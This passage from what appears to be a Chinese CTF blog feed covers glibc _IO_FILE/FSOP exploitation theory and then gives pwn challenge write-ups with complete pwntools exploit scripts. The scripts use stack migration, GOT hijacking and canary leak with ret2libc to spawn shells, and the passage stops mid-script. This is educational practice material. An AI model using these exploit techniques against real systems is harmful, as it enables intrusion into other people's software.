_IO_switch_to_wget_mode</code></p></li><li><p>利用原理：通过在任意地址写一个可控地址，伪造<code>fake_IO</code>结构体并配合合适的IO链，来达到控制执行流的效果。</p></li></ul><p>要进行IO利用首先要绕过vtable检查</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">const</span> <span class="keyword">struct</span> _IO_jump_t *</span><br><span class="line"><span class="title function_">IO_validate_vtable</span> <span class="params">(<span class="type">const</span> <span class="keyword">struct</span> _IO_jump_t *vtable)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="comment">/* Fast path: The vtable pointer is within the __libc_IO_vtables</span></span><br><span class="line"><span class="comment">     section.  */</span></span><br><span class="line">  <span class="type">uintptr_t</span> section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;</span><br><span class="line">  <span class="type">uintptr_t</span> ptr = (<span class="type">uintptr_t</span>) vtable;</span><br><span class="line">  <span class="type">uintptr_t</span> offset = ptr - (<span class="type">uintptr_t</span>) __start___libc_IO_vtables;</span><br><span class="line">  <span class="keyword">if</span> (__glibc_unlikely (offset &gt;= section_length))</span><br><span class="line">    <span class="comment">/* The vtable pointer is not in the expected section.  Use the</span></span><br><span class="line"><span class="comment">       slow path, which will terminate the process if necessary.  */</span></span><br><span class="line">    _IO_vtable_check ();</span><br><span class="line">  <span class="keyword">return</span> vtable;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>用当前虚表指针减去<code>_IO_vtable</code>段的开始地址，其偏移若大于<code>section_length</code>，则会进入<code>_IO_vtable_check()</code>函数进行更为详细的检查。因此一般修改虚表指针为虚表段内的任意位置，也就是对于某一个<code>_IO_xxx_jumps</code>的任意偏移，从而调用我们想要调用的IO函数。</p><h3 id="FSOP触发"><a href="#FSOP触发" class="headerlink" title="FSOP触发"></a>FSOP触发</h3><p>FSOP有三种情况（能从main函数中返回、程序中能执行exit函数、libc中执行abort），第三种情况在高版本中已经删除</p><p>从exit进入时的调用链为：<code>exit -&gt; __run_exit_handlers -&gt; _IO_cleanup -&gt; _IO_flush_all_lockp -&gt; _IO_wfile_seekoff -&gt; _IO_switch_to_wget_mode</code></p><p>在<code>_IO_flush_all_lockp</code>函数中有这样几个片段</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x7f9ab615a9db</span> &lt;_IO_flush_all_lockp+<span class="number">123</span>&gt;    mov    r15, qword ptr [rip + <span class="number">0x18bc9e</span>] &lt;_IO_list_all&gt;</span><br><span class="line"><span class="number">0x7f0f3fbd2a21</span> &lt;_IO_flush_all_lockp+<span class="number">193</span>&gt;    mov    rax, qword ptr [r15 + <span class="number">0xd8</span>]</span><br><span class="line"><span class="number">0x7f53be3b5a3f</span> &lt;_IO_flush_all_lockp+<span class="number">223</span>&gt;    call   qword ptr [rax + <span class="number">0x18</span>]        &lt;_IO_wfile_seekoff&gt;</span><br></pre></td></tr></table></figure></div><p>也就是说程序会把<code>_IO_list_all</code>对应的值赋给r15，因此<code>_IO_list_all</code>处就要伪造成我们的可控地址，然后把对应结构中的0xd8位置的值赋给rax，之后会调用rax+0x18位置的函数，因此0xd8位置就要伪造为<code>_IO_wfile_jumps+0x30</code>（0x48位置为<code>_IO_wfile_seekoff</code>）</p><p>进入<code>_IO_wfile_seekoff</code>之后，会以<code>rdi = fake_io_addr</code>进入<code>_IO_switch_to_wget_mode</code>函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line">_IO_switch_to_wget_mode (FILE *fp)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> (fp-&gt;_wide_data-&gt;_IO_write_ptr &gt; fp-&gt;_wide_data-&gt;_IO_write_base)</span><br><span class="line">    <span class="keyword">if</span> ((<span class="type">wint_t</span>)_IO_WOVERFLOW (fp, WEOF) == WEOF)</span><br><span class="line">      <span class="keyword">return</span> EOF;</span><br><span class="line">    ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>在这个函数中，会调用<code>_IO_WOVERFLOW</code>函数，而对其并没有任何检查，只要我们可以更改该函数指针所在位置的值为<code>setcontext+61</code>就可以实现控制执行流</p><p>对应汇编代码如下</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">  <span class="number">0x7f53be3aad34</span> &lt;_IO_switch_to_wget_mode+<span class="number">4</span>&gt;     mov    rax, qword ptr [rdi + <span class="number">0xa0</span>]</span><br><span class="line">  <span class="number">0x7f53be3aad3b</span> &lt;_IO_switch_to_wget_mode+<span class="number">11</span>&gt;    push   rbx</span><br><span class="line">  <span class="number">0x7f53be3aad3c</span> &lt;_IO_switch_to_wget_mode+<span class="number">12</span>&gt;    mov    rbx, rdi</span><br><span class="line">  <span class="number">0x7f53be3aad3f</span> &lt;_IO_switch_to_wget_mode+<span class="number">15</span>&gt;    mov    rdx, qword ptr [rax + <span class="number">0x20</span>]</span><br><span class="line">► <span class="number">0x7f53be3aad43</span> &lt;_IO_switch_to_wget_mode+<span class="number">19</span>&gt;    cmp    rdx, qword ptr [rax + <span class="number">0x18</span>]</span><br><span class="line">  <span class="number">0x7f53be3aad47</span> &lt;_IO_switch_to_wget_mode+<span class="number">23</span>&gt;    jbe    _IO_switch_to_wget_mode+<span class="number">56</span>                &lt;_IO_switch_to_wget_mode+<span class="number">56</span>&gt;</span><br><span class="line"></span><br><span class="line">  <span class="number">0x7f53be3aad49</span> &lt;_IO_switch_to_wget_mode+<span class="number">25</span>&gt;    mov    rax, qword ptr [rax + <span class="number">0xe0</span>]</span><br><span class="line">  <span class="number">0x7f53be3aad50</span> &lt;_IO_switch_to_wget_mode+<span class="number">32</span>&gt;    mov    esi, <span class="number">0xffffffff</span></span><br><span class="line">  <span class="number">0x7f53be3aad55</span> &lt;_IO_switch_to_wget_mode+<span class="number">37</span>&gt;    call   qword ptr [rax + <span class="number">0x18</span>]</span><br></pre></td></tr></table></figure></div><p>显然 <strong>rax &#x3D; [fake_io_addr + 0xa0]</strong></p><p>在造成任意地址写一个堆地址的基础上，这里的寄存器rdi（fake_IO的地址）、rax和rdx都是我们可以控制的，在开启沙箱的情况下，假如把最后调用的**[rax + 0x18]设置为setcontext，把rdx设置为可控的堆地址，就能执行srop来读取flag**；如果<strong>未开启沙箱</strong>，则只需把<strong>最后调用的[rax + 0x18]设置为system函数，把fake_IO的头部写入&#x2F;bin&#x2F;sh字符串</strong>，就可执行system(“&#x2F;bin&#x2F;sh”)</p><h3 id="malloc-assert触发"><a href="#malloc-assert触发" class="headerlink" title="__malloc_assert触发"></a>__malloc_assert触发</h3>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/06/22/glibc/Glibc%E5%A0%86%E5%AD%A6%E4%B9%A0/</id>
    <link href="https://staticccccccc.github.io/2024/06/22/glibc/Glibc%E5%A0%86%E5%AD%A6%E4%B9%A0/"/>
    <published>2024-06-22T12:00:00.000Z</published>
    <summary>漫长的二进制之旅</summary>
    <title>Glibc堆学习及_IO_FILE利用</title>
    <updated>2024-06-22T12:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="CTFS" scheme="https://staticccccccc.github.io/categories/CTFS/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<p>题目均来自协会arttnba3师傅的帖子《从零开始的pwner生活》，由于本人水平有限，思路如有欠妥，欢迎指正。</p><h2 id="task01"><a href="#task01" class="headerlink" title="task01"></a>task01</h2><h3 id="0x01-ciscn-2019-s-4-ret2text-stack-migration"><a href="#0x01-ciscn-2019-s-4-ret2text-stack-migration" class="headerlink" title="0x01.ciscn_2019_s_4  (ret2text  + stack_migration)"></a>0x01.ciscn_2019_s_4  (ret2text  + stack_migration)</h3><p><code>checksec</code>发现只开了NX和partial relro</p><p>ida打开，看到vul函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">vul</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">40</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x20u</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x30u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, s);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x30u</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>而且有一个hack函数，不能得到flag，但是有<code>system</code>函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">hack</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;echo flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>程序会<code>read</code>，<code>printf</code>先后两次</p><p>而每次读取都是<code>0x30</code>，最多只能溢出到返回地址。</p><p>这种情况一般要用到栈迁移。</p><p>那么很明显只要泄露出栈地址，然后利用<code>leave_ret</code>进行栈迁移就可以gets hell了。</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">28888</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./ciscn_s_4&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./ciscn_s_4&#x27;</span>)</span><br><span class="line"></span><br><span class="line">sys = <span class="number">0x804854B</span></span><br><span class="line">offset = <span class="number">0x28</span> + <span class="number">4</span></span><br><span class="line"><span class="comment">#泄露出栈地址，然后进行栈迁移</span></span><br><span class="line">payload1 = <span class="string">b&#x27;A&#x27;</span>*(offset-<span class="number">4</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Welcome&#x27;</span>)</span><br><span class="line">io.send(payload1)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*(offset-<span class="number">4</span>))</span><br><span class="line">ebp = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;ebp:&quot;</span>+<span class="built_in">hex</span>(ebp))</span><br><span class="line"></span><br><span class="line">sys = elf.plt[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">leave_ret = <span class="number">0x80484b8</span></span><br><span class="line">payload2 = p32(sys) + <span class="string">b&#x27;AAAA&#x27;</span> + p32(ebp-<span class="number">0x38</span>+<span class="number">0xc</span>) + <span class="string">b&#x27;/bin/sh\x00&#x27;</span> + <span class="string">b&#x27;A&#x27;</span>*(offset-<span class="number">0x14</span>-<span class="number">4</span>) + p32(ebp-<span class="number">0x38</span>-<span class="number">4</span>) + p32(leave_ret)</span><br><span class="line">io.send(payload2)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x02-MSSCTF2020-Wallet-got-hijack"><a href="#0x02-MSSCTF2020-Wallet-got-hijack" class="headerlink" title="0x02.MSSCTF2020 - Wallet( got hijack )"></a>0x02.MSSCTF2020 - Wallet( got hijack )</h3><p>先<code>checksec</code>看到开了NX，partial relro和canary</p><p><code>main</code>函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp-10h] [ebp-20h]</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [esp-Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">int</span> v6[<span class="number">2</span>]; <span class="comment">// [esp+0h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+8h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  v6[<span class="number">1</span>] = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  setbufs();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.JUST OPEN IT!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.EXIT&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, v6, v4, v5);</span><br><span class="line">  <span class="keyword">if</span> ( v6[<span class="number">0</span>] == <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    begin(p_argc);</span><br><span class="line">    check();</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Here is something you like.&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>看到就是一个选择界面，主要在<code>begin</code>和<code>check</code>函数里面</p><p><code>begin</code>函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">begin</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [esp-8h] [ebp-80h]</span></span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [esp-4h] [ebp-7Ch]</span></span><br><span class="line">  <span class="type">char</span> v3[<span class="number">108</span>]; <span class="comment">// [esp+0h] [ebp-78h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v4; <span class="comment">// [esp+6Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Show me your name : &quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%108s&quot;</span>, v3, v1, v2);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Welcome %s! :P\n&quot;</span>, v3);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>输入name，不存在溢出</p><p><code>check</code>函数</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">check</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [esp-8h] [ebp-20h]</span></span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [esp-8h] [ebp-20h]</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [esp-4h] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp-4h] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [esp+8h] [ebp-10h]</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Now try the First password : &quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, v5, v1, v3);</span><br><span class="line">  fflush(<span class="built_in">stdin</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Now try the Second password : &quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, v6, v2, v4);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Let me think......&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v5 != <span class="number">338150</span> || v6 != <span class="number">13371337</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;You Failed! Try again.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;OMG!YOU SUCCESS!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/cat flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>很明显让<code>v5==338150</code>并且<code>v6==13371337</code>就可以得到flag</p><p>但是<code>scanf</code>函数是对v5和v6所指向的地址进行写入</p><p>而不是改变v5和v6的值，在<code>check</code>函数中,我们并没有发现对v5和v6值的修改。</p><p>但是从ida中可以看到<code>call begin</code>之后直接就是<code>call check</code>，因此check函数里面的v5和v6可以由<code>begin</code>中的输入控制，仔细观察发现只能控制v5的值，v6值对应栈区域是<code>canary</code>的位置。那么就不能直接通过判断获得flag，但是我们可以控制v5的值为got表位置，从而利用<code>scanf</code>读入修改<code>scanf</code>的got表为<code>system(&quot;/bin/cat flag&quot;)</code>，下一次<code>call scanf</code>的时候就可以<code>cat flag</code>了</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./Wal1et&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#修改scanf  got表为system(&quot;/bin/cat flag&quot;)地址</span></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line">io.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;A&#x27;</span>*<span class="number">104</span> + p32(<span class="number">0x804a02c</span>))</span><br><span class="line">io.sendline(<span class="string">b&#x27;134514480&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="0x03-moeCTF2021-baby-canary-canary-leak-ret2libc"><a href="#0x03-moeCTF2021-baby-canary-canary-leak-ret2libc" class="headerlink" title="0x03.moeCTF2021 - baby canary( canary leak + ret2libc )"></a>0x03.moeCTF2021 - baby canary( canary leak + ret2libc )</h3><p><code>checksec</code>看到开启了Full relro , NX , canary</p><p>ida打开</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">func</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;So can you tell me who you are?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x100u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Wow.. %s is a good name...&quot;</span>, s);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;\nSo what you come there for?&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x100u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;That&#x27;s good...But you need to escape from the canary before you get the flag!&quot;</span>);</span><br><span class="line">  fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  <span class="keyword">return</span> v2 - __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>看到有两次输入，中间有一次输出</p><p>第一次输入覆盖<code>canary</code>的<code>\x00</code>位置，在打印时可打印出<code>canary</code>，第二次输入还原<code>canary</code>然后ret2libc即可</p><p>exp为:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span>*</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./baby_canary&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./baby_canary&#x27;</span>)</span><br><span class="line"></span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#canary泄露,之后ret2libc即可</span></span><br><span class="line">offset = <span class="number">0x40</span></span><br><span class="line">payload1 = <span class="string">b&#x27;A&#x27;</span>*offset + <span class="string">b&#x27;A&#x27;</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;who you are?&#x27;</span>)</span><br><span class="line">io.send(payload1)</span><br><span class="line"></span><br><span class="line">io.recvuntil(payload1)</span><br><span class="line">canary = u32(io.recv(<span class="number">3</span>).rjust(<span class="number">4</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;canary ===&gt; &#x27;</span>+<span class="built_in">hex</span>(canary))</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;come there for?&#x27;</span>)</span><br><span class="line">payload2 = <span class="string">b&#x27;A&#x27;</span>*offset + p32(canary) + <span class="string">b&#x27;A&#x27;</span>*<span class="number">12</span> + p32(puts_plt) + p32(<span class="number">0x8049238</span>) + p32(puts_got)</span><br><span class="line">io.send(payload2)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;get the flag!\n&#x27;</span>)</span><br><span class="line">puts = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;puts ===&gt; &#x27;</span>+<span class="built_in">hex</span>(puts))</span><br><span class="line"></span><br><span class="line">libc = LibcSearcher(<span class="string">&#x27;puts&#x27;</span>,puts)</span><br><span class="line">libcbase = puts - libc.dump(<span class="string">&#x27;puts&#x27;</span>)</span><br><span class="line">sys = libcbase + libc.dump(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">bin_sh = libcbase + libc.dump(<span class="string">&#x27;str_bin_sh&#x27;</span>)</span><br><span class="line"></span><br><span class="line">payload3 = <span class="string">b&#x27;A&#x27;</span>*offset + p32(canary) + <span class="string">b&#x27;A&#x27;</span>*<span class="number">12</span> + p32(sys) + <span class="string">b&#x27;AAAA&#x27;</span>  + p32(bin_sh)</span><br><span class="line">io.send(payload3)</span><br><span class="line">io.send(payload3)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="task02"><a href="#task02" class="headerlink" title="task02"></a>task02</h2><h3 id="0x01-ciscn-2019-c-1-ret2libc"><a href="#0x01-ciscn-2019-c-1-ret2libc" class="headerlink" title="0x01.ciscn_2019_c_1( ret2libc )"></a>0x01.ciscn_2019_c_1( ret2libc )</h3><p><code>checksec</code>看到程序为64位，开启了 partial relro 和 NX</p><p>程序是一个加密机，只有<code>encrypt</code>，没有<code>decrypt</code>，进入<code>encrypt</code>函数中</p><p>可以看到直接用<code>gets</code>函数来读取字符串，但是在函数返回之前会被修改，因此需要绕过修改，<code>strlen</code>是通过<code>\x00</code>判断是否到达字符串结尾的，直接在字符串开始位置写入<code>\x00</code>就可以使长度判断为0，从而绕过加密，直接构造栈。</p><p>先用<code>puts</code>函数泄露出<code>libc</code>地址，然后<code>ret2libc</code>直接getshell</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 